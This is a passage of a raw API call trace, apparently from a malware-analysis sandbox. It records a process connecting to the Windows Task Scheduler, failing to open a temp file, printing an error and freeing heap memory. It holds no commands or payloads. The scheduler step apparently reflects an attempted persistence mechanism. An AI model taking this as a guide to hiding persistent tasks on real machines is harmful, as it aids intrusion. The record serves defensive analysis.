(lpString="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\tmp6BEF.tmp") returned 49 [0292.121] _memicmp (_Buf1=0x2352d0, _Buf2=0xff1ed8, _Size=0x7) returned 0 [0292.121] _memicmp (_Buf1=0x235300, _Buf2=0xff1ed8, _Size=0x7) returned 0 [0292.121] SetLastError (dwErrCode=0x7a) [0292.121] SetLastError (dwErrCode=0x0) [0292.121] SetLastError (dwErrCode=0x0) [0292.122] lstrlenW (lpString="C") returned 1 [0292.122] SetLastError (dwErrCode=0x490) [0292.122] SetLastError (dwErrCode=0x0) [0292.122] lstrlenW (lpString="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\tmp6BEF.tmp") returned 49 [0292.122] lstrlenW (lpString="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\tmp6BEF.tmp") returned 49 [0292.122] GetProcessHeap () returned 0x220000 [0292.122] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0x64) returned 0x236328 [0292.122] SetLastError (dwErrCode=0x0) [0292.122] lstrlenW (lpString="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\tmp6BEF.tmp") returned 49 [0292.122] SetLastError (dwErrCode=0x0) [0292.122] GetProcessHeap () returned 0x220000 [0292.122] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0x1fc) returned 0x236398 [0292.122] CoInitializeEx (pvReserved=0x0, dwCoInit=0x2) returned 0x0 [0292.174] CoInitializeSecurity (pSecDesc=0x0, cAuthSvc=-1, asAuthSvc=0x0, pReserved1=0x0, dwAuthnLevel=0x1, dwImpLevel=0x3, pAuthList=0x0, dwCapabilities=0x0, pReserved3=0x0) returned 0x0 [0292.607] CoCreateInstance (in: rclsid=0xff230c*(Data1=0xf87369f, Data2=0xa4e5, Data3=0x4cfc, Data4=([0]=0xbd, [1]=0x3e, [2]=0x73, [3]=0xe6, [4]=0x15, [5]=0x45, [6]=0x72, [7]=0xdd)), pUnkOuter=0x0, dwClsContext=0x17, riid=0xff20fc*(Data1=0x2faba4c7, Data2=0x4da9, Data3=0x4013, Data4=([0]=0x96, [1]=0x97, [2]=0x20, [3]=0xcc, [4]=0x3f, [5]=0xd4, [6]=0xf, [7]=0x85)), ppv=0x20d208 | out: ppv=0x20d208*=0x4428a0) returned 0x0 [0292.617] TaskScheduler:ITaskService:Connect (This=0x4428a0, serverName=0x20d178*(varType=0x8, wReserved1=0x0, wReserved2=0xd1ec, wReserved3=0x20, varVal1=0x0, varVal2=0x20dac0), user=0x20d188*(varType=0x0, wReserved1=0x20, wReserved2=0xd210, wReserved3=0x20, varVal1=0x76b99cde, varVal2=0x20dac0), domain=0x20d198*(varType=0x0, wReserved1=0x0, wReserved2=0x1f4, wReserved3=0x0, varVal1=0x6, varVal2=0x0), password=0x20d1a8*(varType=0x0, wReserved1=0x0, wReserved2=0x9c39, wReserved3=0x76b9, varVal1=0x74, varVal2=0x20dc40)) returned 0x0 [0292.621] TaskScheduler:IUnknown:AddRef (This=0x4428a0) returned 0x2 [0292.621] TaskScheduler:ITaskService:GetFolder (in: This=0x4428a0, Path=0x0, ppFolder=0x20d2ac | out: ppFolder=0x20d2ac*=0x4414d8) returned 0x0 [0292.623] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\tmp6BEF.tmp" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\temp\\tmp6bef.tmp"), dwDesiredAccess=0x80000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8000080, hTemplateFile=0x0) returned 0xffffffff [0292.623] GetLastError () returned 0x2 [0292.624] FormatMessageW (in: dwFlags=0x1300, lpSource=0x0, dwMessageId=0x2, dwLanguageId=0x0, lpBuffer=0x20cba0, nSize=0x0, Arguments=0x0 | out: lpBuffer="予$쮰 鿹Ā￿￿툜 銄ÿ⥀盃\x01\x01탆\x01") returned 0x2c [0292.626] GetLastError () returned 0x2 [0292.626] lstrlenW (lpString="The system cannot find the file specified.\r\n") returned 44 [0292.626] GetProcessHeap () returned 0x220000 [0292.626] GetProcessHeap () returned 0x220000 [0292.626] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x235580) returned 1 [0292.626] GetProcessHeap () returned 0x220000 [0292.626] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x235580) returned 0x2 [0292.626] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x235580 | out: hHeap=0x220000) returned 1 [0292.627] GetProcessHeap () returned 0x220000 [0292.627] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0x5a) returned 0x244ef0 [0292.627] SetLastError (dwErrCode=0x2) [0292.627] GetProcessHeap () returned 0x220000 [0292.627] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0x14) returned 0x235d28 [0292.627] _memicmp (_Buf1=0x235270, _Buf2=0xff1ed8, _Size=0x7) returned 0 [0292.627] LoadStringW (in: hInstance=0x0, uID=0x1389, lpBuffer=0x236d08, cchBufferMax=256 | out: lpBuffer="ERROR:") returned 0x6 [0292.627] lstrlenW (lpString="ERROR:") returned 6 [0292.627] GetProcessHeap () returned 0x220000 [0292.627] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0xe) returned 0x241a30 [0292.627] GetProcessHeap () returned 0x220000 [0292.627] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0x10) returned 0x241a00 [0292.627] _memicmp (_Buf1=0x241a00, _Buf2=0xff1ed8, _Size=0x7) returned 0 [0292.627] GetProcessHeap () returned 0x220000 [0292.627] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0x1000) returned 0x245ad0 [0292.627] _vsnwprintf (in: _Buffer=0x245ad0, _BufferCount=0x7ff, _Format="%s ", _ArgList=0x20cba4 | out: _Buffer="ERROR: ") returned 7 [0292.628] _fileno (_File=0x76c32940) returned 2 [0292.628] _errno () returned 0x4407d8 [0292.628] _get_osfhandle (_FileHandle=2) returned 0xb [0292.628] _errno () returned 0x4407d8 [0292.628] GetFileType (hFile=0xb) returned 0x2 [0292.628] GetStdHandle (nStdHandle=0xfffffff4) returned 0xb [0292.628] GetConsoleMode (in: hConsoleHandle=0xb, lpMode=0x20cb3c | out: lpMode=0x20cb3c) returned 1 [0292.628] __iob_func () returned 0x76c32900 [0292.628] __iob_func () returned 0x76c32900 [0292.628] GetStdHandle (nStdHandle=0xfffffff4) returned 0xb [0292.628] lstrlenW (lpString="ERROR: ") returned 7 [0292.628] WriteConsoleW (in: hConsoleOutput=0xb, lpBuffer=0x245ad0*, nNumberOfCharsToWrite=0x7, lpNumberOfCharsWritten=0x20cb64, lpReserved=0x0 | out: lpBuffer=0x245ad0*, lpNumberOfCharsWritten=0x20cb64*=0x7) returned 1 [0292.629] _fileno (_File=0x76c32940) returned 2 [0292.629] _errno () returned 0x4407d8 [0292.629] _get_osfhandle (_FileHandle=2) returned 0xb [0292.629] _errno () returned 0x4407d8 [0292.629] GetFileType (hFile=0xb) returned 0x2 [0292.630] GetStdHandle (nStdHandle=0xfffffff4) returned 0xb [0292.630] GetConsoleMode (in: hConsoleHandle=0xb, lpMode=0x20cb68 | out: lpMode=0x20cb68) returned 1 [0292.630] __iob_func () returned 0x76c32900 [0292.630] __iob_func () returned 0x76c32900 [0292.630] GetStdHandle (nStdHandle=0xfffffff4) returned 0xb [0292.630] lstrlenW (lpString="The system cannot find the file specified.\r\n") returned 44 [0292.630] WriteConsoleW (in: hConsoleOutput=0xb, lpBuffer=0x244ef0*, nNumberOfCharsToWrite=0x2c, lpNumberOfCharsWritten=0x20cb90, lpReserved=0x0 | out: lpBuffer=0x244ef0*, lpNumberOfCharsWritten=0x20cb90*=0x2c) returned 1 [0292.630] TaskScheduler:IUnknown:Release (This=0x4414d8) returned 0x0 [0292.630] TaskScheduler:IUnknown:Release (This=0x4428a0) returned 0x1 [0292.631] lstrlenW (lpString="") returned 0 [0292.631] lstrlenW (lpString="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\tmp6BEF.tmp") returned 49 [0292.631] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\tmp6BEF.tmp", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 50 [0292.631] GetProcessHeap () returned 0x220000 [0292.631] GetProcessHeap () returned 0x220000 [0292.631] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x236398) returned 1 [0292.631] GetProcessHeap () returned 0x220000 [0292.631] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x236398) returned 0x1fc [0292.631] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x236398 | out: hHeap=0x220000) returned 1 [0292.631] GetProcessHeap () returned 0x220000 [0292.631] GetProcessHeap () returned 0x220000 [0292.631] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x236328) returned 1 [0292.631] GetProcessHeap () returned 0x220000 [0292.631] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x236328) returned 0x64 [0292.631] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x236328 | out: hHeap=0x220000) returned 1 [0292.631] GetProcessHeap () returned 0x220000 [0292.631] GetProcessHeap () returned 0x220000 [0292.631] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x235968) returned 1 [0292.631] GetProcessHeap () returned 0x220000 [0292.631] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x235968) returned 0x16 [0292.631] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x235968 | out: hHeap=0x220000) returned 1 [0292.631] GetProcessHeap () returned 0x220000 [0292.631] GetProcessHeap () returned 0x220000 [0292.631] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x22f598) returned 1 [0292.631] GetProcessHeap () returned 0x220000 [0292.631] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x22f598) returned 0x10 [0292.631] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x22f598 | out: hHeap=0x220000) returned 1 [0292.631] GetProcessHeap () returned 0x220000 [0292.631] GetProcessHeap () returned 0x220000 [0292.631] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x235988) returned 1 [0292.632] GetProcessHeap () returned 0x220000 [0292.632] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x235988) returned 0x14 [0292.632] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x235988 | out: hHeap=0x220000) returned 1 [0292.632] GetProcessHeap () returned 0x220000 [0292.632] GetProcessHeap () returned 0x220000 [0292.632] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x236c60) returned 1 [0292.632] GetProcessHeap () returned 0x220000 [0292.632] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x236c60) returned 0xa0 [0292.632] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x236c60 | out: hHeap=0x220000) returned 1 [0292.632] GetProcessHeap () returned 0x220000 [0292.632] GetProcessHeap () returned 0x220000 [0292.632] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x235258) returned 1 [0292.632] GetProcessHeap () returned 0x220000 [0292.632] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x235258) returned 0x10 [0292.632] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x235258 | out: hHeap=0x220000) returned 1 [0292.632] GetProcessHeap () returned 0x220000 [0292.632] GetProcessHeap () returned 0x220000 [0292.632] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x235868) returned 1 [0292.632] GetProcessHeap () returned 0x220000 [0292.632] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x235868) returned 0x14 [0292.632] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x235868 | out: hHeap=0x220000) returned 1 [0292.632] GetProcessHeap () returned 0x220000 [0292.632] GetProcessHeap () returned 0x220000 [0292.632] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x236280) returned 1 [0292.632] GetProcessHeap () returned 0x220000 [0292.632] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x236280) returned 0x68 [0292.632] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x236280 | out: hHeap=0x220000) returned 1 [0292.632] GetProcessHeap () returned 0x220000 [0292.633] GetProcessHeap () returned 0x220000 [0292.633] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x235300) returned 1 [0292.633] GetProcessHeap () returned 0x220000 [0292.633] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x235300) returned 0x10 [0292.633] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x235300 | out: hHeap=0x220000) returned 1 [0292.633] GetProcessHeap () returned 0x220000 [0292.633] GetProcessHeap () returned 0x220000 [0292.633] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x235828) returned 1 [0292.633] GetProcessHeap () returned 0x220000 [0292.633] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x235828) returned 0x14 [0292.633] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x235828 | out: hHeap=0x220000) returned 1 [0292.633] GetProcessHeap () returned 0x220000 [0292.633] GetProcessHeap () returned 0x220000 [0292.633] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x2352e8) returned 1 [0292.633] GetProcessHeap () returned 0x220000 [0292.633] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x2352e8) returned 0xc [0292.633] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x2352e8 | out: hHeap=0x220000) returned 1 [0292.633] GetProcessHeap () returned 0x220000 [0292.633] GetProcessHeap () returned 0x220000 [0292.633] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x2352d0) returned 1 [0292.633] GetProcessHeap () returned 0x220000 [0292.633] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x2352d0) returned 0x10 [0292.633] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x2352d0 | out: hHeap=0x220000) returned 1 [0292.633] GetProcessHeap () returned 0x220000 [0292.633] GetProcessHeap () returned 0x220000 [0292.633] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x235808) returned 1 [0292.633] GetProcessHeap () returned 0x220000 [0292.633] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x235808) returned 0x14 [0292.634] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x235808 | out: hHeap=0x220000) returned 1 [0292.634] GetProcessHeap () returned 0x220000 [0292.634] GetProcessHeap () returned 0x220000 [0292.634] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x236070) returned 1 [0292.634] GetProcessHeap () returned 0x220000 [0292.634] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x236070) returned 0x208 [0292.634] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x236070 | out: hHeap=0x220000) returned 1 [0292.634] GetProcessHeap () returned 0x220000 [0292.634] GetProcessHeap () returned 0x220000 [0292.634] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x2351f8) returned 1 [0292.634] GetProcessHeap () returned 0x220000 [0292.634] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x2351f8) returned 0x10 [0292.634] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x2351f8 | out: hHeap=0x220000) returned 1 [0292.634] GetProcessHeap () returned 0x220000 [0292.634] GetProcessHeap () returned 0x220000 [0292.634] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x2357c8) returned 1 [0292.634] GetProcessHeap () returned 0x220000 [0292.634] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x2357c8) returned 0x14 [0292.634] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x2357c8 | out: hHeap=0x220000) returned 1 [0292.634] GetProcessHeap () returned 0x220000 [0292.634] GetProcessHeap () returned 0x220000 [0292.634] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x236d08) returned 1 [0292.634] GetProcessHeap () returned 0x220000 [0292.634] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x236d08) returned 0x200 [0292.634] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x236d08 | out: hHeap=0x220000) returned 1 [0292.634] GetProcessHeap () returned 0x220000 [0292.634] GetProcessHeap () returned 0x220000 [0292.634] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x235270) returned 1 [0292.634] GetProcessHeap () returned 0x220000 [0292.634] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x235270) returned 0x10 [0292.634] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x235270 | out: hHeap=0x220000) returned 1 [0292.634] GetProcessHeap () returned 0x220000 [0292.634] GetProcessHeap () returned 0x220000 [0292.634] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x235768) returned 1 [0292.635] GetProcessHeap () returned 0x220000 [0292.635] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x235768) returned 0x14 [0292.635] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x235768 | out: hHeap=0x220000) returned 1 [0292.635] GetProcessHeap () returned 0x220000 [0292.635] GetProcessHeap () returned 0x220000 [0292.635] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x245ad0) returned 1 [0292.635] GetProcessHeap () returned 0x220000 [0292.635] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x245ad0) returned 0x1000 [0292.635] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x245ad0 | out: hHeap=0x220000) returned 1 [0292.635] GetProcessHeap () returned 0x220000 [0292.635] GetProcessHeap () returned 0x220000 [0292.635] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x241a00) returned 1 [0292.635] GetProcessHeap () returned 0x220000 [0292.635] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x241a00) returned 0x10 [0292.635] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x241a00 | out: hHeap=0x220000) returned 1 [0292.635] GetProcessHeap () returned 0x220000 [0292.635] GetProcessHeap () returned 0x220000 [0292.635] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x235748) returned 1 [0292.635] GetProcessHeap () returned 0x220000 [0292.635] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x235748) returned 0x14 [0292.635] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x235748 | out: hHeap=0x220000) returned 1 [0292.635] GetProcessHeap () returned 0x220000 [0292.635] GetProcessHeap () returned 0x220000 [0292.635] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x2358e8) returned 1 [0292.635] GetProcessHeap () returned 0x220000 [0292.635] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x2358e8) returned 0x14 [0292.635] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x2358e8 | out: hHeap=0x220000) returned 1 [0292.635] GetProcessHeap () returned 0x220000 [0292.635] GetProcessHeap () returned 0x220000 [0292.635] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x2352b8) returned 1 [0292.635] GetProcessHeap () returned 0x220000 [0292.635] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x2352b8) returned 0x10 [0292.635] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x2352b8 | out: hHeap=0x220000) returned 1 [0292.635] GetProcessHeap () returned 0x220000 [0292.636] GetProcessHeap () returned 0x220000 [0292.636] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x2356d0) returned 1 [0292.636] GetProcessHeap () returned 0x220000 [0292.636] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x2356d0) returned 0x14 [0292.636] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x2356d0 | out: hHeap=0x220000) returned 1 [0292.636] GetProcessHeap () returned 0x220000 [0292.636] GetProcessHeap () returned 0x220000 [0292.636] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x235928) returned 1 [0292.636] GetProcessHeap () returned 0x220000 [0292.636] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x235928) returned 0x16 [0292.636] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x235928 | out: hHeap=0x220000) returned 1 [0292.636] GetProcessHeap () returned 0x220000 [0292.636] GetProcessHeap () returned 0x220000 [0292.636] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x235288) returned 1 [0292.636] GetProcessHeap () returned 0x220000 [0292.636] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x235288) returned 0x10 [0292.636] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x235288 | out: hHeap=0x220000) returned 1 [0292.636] GetProcessHeap () returned 0x220000 [0292.636] GetProcessHeap () returned 0x220000 [0292.636] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x2356b0) returned 1 [0292.636] GetProcessHeap () returned 0x220000 [0292.636] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x2356b0) returned 0x14 [0292.636] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x2356b0 | out: hHeap=0x220000) returned 1 [0292.636] GetProcessHeap () returned 0x220000 [0292.636] GetProcessHeap () returned 0x220000 [0292.636] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x244ef0) returned 1 [0292.636] GetProcessHeap () returned 0x220000 [0292.636] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x244ef0) returned 0x5a [0292.636] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x244ef0 | out: hHeap=0x220000) returned 1 [0292.636] GetProcessHeap () returned 0x220000 [0292.636] GetProcessHeap () returned 0x220000 [0292.636] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x235590) returned 1 [0292.636] GetProcessHeap () returned 0x220000 [0292.636] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x235590) returned 0x14 [0292.637] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x235590 | out: hHeap=0x220000) returned 1 [0292.637] GetProcessHeap () returned 0x220000 [0292.637] GetProcessHeap () returned 0x220000 [0292.637] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x2355b0) returned 1 [0292.637] GetProcessHeap () returned 0x220000 [0292.637] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x2355b0) returned 0x14 [0292.637] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x2355b0 | out: hHeap=0x220000) returned 1 [0292.637] GetProcessHeap () returned 0x220000 [0292.637] GetProcessHeap () returned 0x220000 [0292.637] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x2355d0) returned 1 [0292.637] GetProcessHeap () returned 0x220000 [0292.637] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x2355d0) returned 0x14 [0292.637] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x2355d0 | out: hHeap=0x220000) returned 1 [0292.637] GetProcessHeap () returned 0x220000 [0292.637] GetProcessHeap () returned 0x220000 [0292.637] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x2355f0) returned 1 [0292.637] GetProcessHeap () returned 0x220000 [0292.637] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x2355f0) returned 0x14 [0292.637] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x2355f0 | out: hHeap=0x220000) returned 1 [0292.637] GetProcessHeap () returned 0x220000 [0292.637] GetProcessHeap () returned 0x220000 [0292.637] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x235888) returned 1 [0292.637] GetProcessHeap () returned 0x220000 [0292.637] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x235888) returned 0x14 [0292.637] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x235888 | out: hHeap=0x220000) returned 1 [0292.637] GetProcessHeap () returned 0x220000 [0292.637] GetProcessHeap () returned 0x220000 [0292.637] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x2358a8) returned 1 [0292.637] GetProcessHeap () returned 0x220000 [0292.637] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x2358a8) returned 0x14 [0292.637] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x2358a8 | out: hHeap=0x220000) returned 1 [0292.637] GetProcessHeap () returned 0x220000 [0292.637] GetProcessHeap () returned 0x220000 [0292.637] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x236f10) returned 1 [0292.637] GetProcessHeap () returned 0x220000 [0292.637] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x236f10) returned 0x30 [0292.638] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x236f10 | out: hHeap=0x220000) returned 1 [0292.638] GetProcessHeap () returned 0x220000 [0292.638] GetProcessHeap () returned 0x220000 [0292.638] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x2358c8) returned 1 [0292.638] GetProcessHeap () returned 0x220000 [0292.638] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x2358c8) returned 0x14 [0292.638] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x2358c8 | out: hHeap=0x220000) returned 1 [0292.638] GetProcessHeap () returned 0x220000 [0292.638] GetProcessHeap () returned 0x220000 [0292.638] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x2362f0) returned 1 [0292.638] GetProcessHeap () returned 0x220000 [0292.638] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x2362f0) returned 0x30 [0292.638] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x2362f0 | out: hHeap=0x220000) returned 1 [0292.638] GetProcessHeap () returned 0x220000 [0292.638] GetProcessHeap () returned 0x220000 [0292.638] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x235948) returned 1 [0292.638] GetProcessHeap () returned 0x220000 [0292.638] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x235948) returned 0x14 [0292.638] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x235948 | out: hHeap=0x220000) returned 1 [0292.638] GetProcessHeap () returned 0x220000 [0292.638] GetProcessHeap () returned 0x220000 [0292.638] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x241a30) returned 1 [0292.638] GetProcessHeap () returned 0x220000 [0292.638] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x241a30) returned 0xe [0292.638] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x241a30 | out: hHeap=0x220000) returned 1 [0292.638] GetProcessHeap () returned 0x220000 [0292.638] GetProcessHeap () returned 0x220000 [0292.638] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x235d28) returned 1 [0292.638] GetProcessHeap () returned 0x220000 [0292.638] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x235d28) returned 0x14 [0292.638] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x235d28 | out: hHeap=0x220000) returned 1 [0292.638] GetProcessHeap () returned 0x220000 [0292.638] GetProcessHeap () returned 0x220000 [0292.638] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x2351b0) returned 1 [0292.638] GetProcessHeap () returned 0x220000 [0292.638] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x2351b0) returned 0x10 [0292.639] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x2351b0 | out: hHeap=0x220000) returned 1 [0292.639] GetProcessHeap () returned 0x220000 [0292.639] GetProcessHeap () returned 0x220000 [0292.639] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x235610) returned 1 [0292.639] GetProcessHeap () returned 0x220000 [0292.639] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x235610) returned 0x14 [0292.639] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x235610 | out: hHeap=0x220000) returned 1 [0292.639] GetProcessHeap () returned 0x220000 [0292.639] GetProcessHeap () returned 0x220000 [0292.639] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x235630) returned 1 [0292.639] GetProcessHeap () returned 0x220000 [0292.639] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x235630) returned 0x14 [0292.639] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x235630 | out: hHeap=0x220000) 